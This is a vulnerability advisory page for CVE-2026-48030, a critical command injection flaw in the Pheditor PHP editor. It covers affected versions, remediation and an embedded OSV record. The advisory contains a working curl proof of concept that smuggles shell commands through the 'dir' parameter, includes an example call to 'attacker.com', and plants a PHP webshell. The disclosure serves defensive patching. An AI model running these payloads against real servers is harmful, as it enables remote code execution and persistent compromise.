CVE-2026-48030: Pheditor OS Command Injection Vulnerability
CRITICALCVE-2026-48030 is a CRITICAL (CVSS 9.9) os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Pheditor libraries in the Packagist ecosystem. The issue involves os command injection in terminal handler via unsanitized 'dir' parameter. Remediation is available by upgrading affected packages to version 2.0.4.
CVE-2026-48030 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-48030
To remediate this vulnerability, upgrade all affected Pheditor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade pheditor/pheditor to 2.0.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for pheditor/pheditor
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-48030, inspect your project dependencies for Pheditor:
inspect dependencies for pheditor/pheditor
Analyze the terminal output to locate any version of Pheditor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.4), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Pheditor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48030 Affected Pheditor Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pheditor/pheditor
|
Packagist |
≥ 2.0.1
< 2.0.4
|
2.0.4
|
References
Frequently Asked Questions
What is CVE-2026-48030?
Which Pheditor versions are affected?
What version fixes CVE-2026-48030?
Is pheditor/pheditor affected?
What is the CVSS score of CVE-2026-48030?
What CWE is associated with CVE-2026-48030?
How can I check Packagist dependencies for CVE-2026-48030?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jvc5-6g7q-c843",
"modified" : "2026-06-09T22:00:35Z",
"published" : "2026-06-09T22:00:35Z",
"aliases" : [ "CVE-2026-48030" ],
"summary" : "Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter",
"details" : "### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command']; // ✓ metacharacters checked\n$dir = $_POST['dir']; // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&') !== false ||\n strpos($command, ';') !== false ||\n strpos($command, '||') !== false) {\n die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n (empty($dir) ? null : 'cd ' . $dir . ' && ')\n . $command . ' && echo \\ ; pwd' // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escapeshellarg($dir)` on line 586.\n\n### PoC\n\nRequirements: valid credentials, terminal permission enabled (default)\n\nStep 1 — Authenticate:\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET/pheditor.php \\\n -d \"pheditor_password=admin\" -L > /dev/null\n```\n\nStep 2 — Get CSRF token:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n grep -o 'token = \"[a-f0-9]*\"' | \\\n grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n```\n\nStep 3 — Confirm curl is blocked via command field:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=curl https://ifconfig.me\" \\\n --data-urlencode \"dir=/tmp\"\n\n\n→ {\"error\":true,\"message\":\"Command not allowed\"}\n```\n\nStep 4 — Bypass whitelist via dir injection:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n grep -o 'token = \"[a-f0-9]*\"' | \\\n grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=ls\" \\\n --data-urlencode \"dir=/tmp; curl -s https://ifconfig.me #\"\n\n\n→ {\"error\":false,\"message\":\"OK\",\"dir\":\"<PUBLIC_IP>\"}\n```\n\nStep 5 — Full RCE via webshell:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=ls\" \\\n --data-urlencode \"dir=/var/www/html; echo '<?php system($_GET[\"c\"]);?>' > /var/www/html/shell.php #\"\n\ncurl \"http://TARGET/shell.php?c=id\"\n\n\n→ uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:\n\n- Execute arbitrary OS commands as the web server user\n- Bypass the TERMINAL_COMMANDS whitelist entirely\n- Deploy persistent PHP webshells to the webroot\n- Read, write, or delete any file accessible to the web server\n- Potentially compromise other applications on the same server",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "pheditor/pheditor"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.1"
}, {
"fixed" : "2.0.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.0.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843"
}, {
"type" : "WEB",
"url" : "https://github.com/pheditor/pheditor/commit/62b43df7cb8956a9b0deb9bec278ca8676c890c5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pheditor/pheditor"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-09T22:00:35Z",
"nvd_published_at" : null
}
}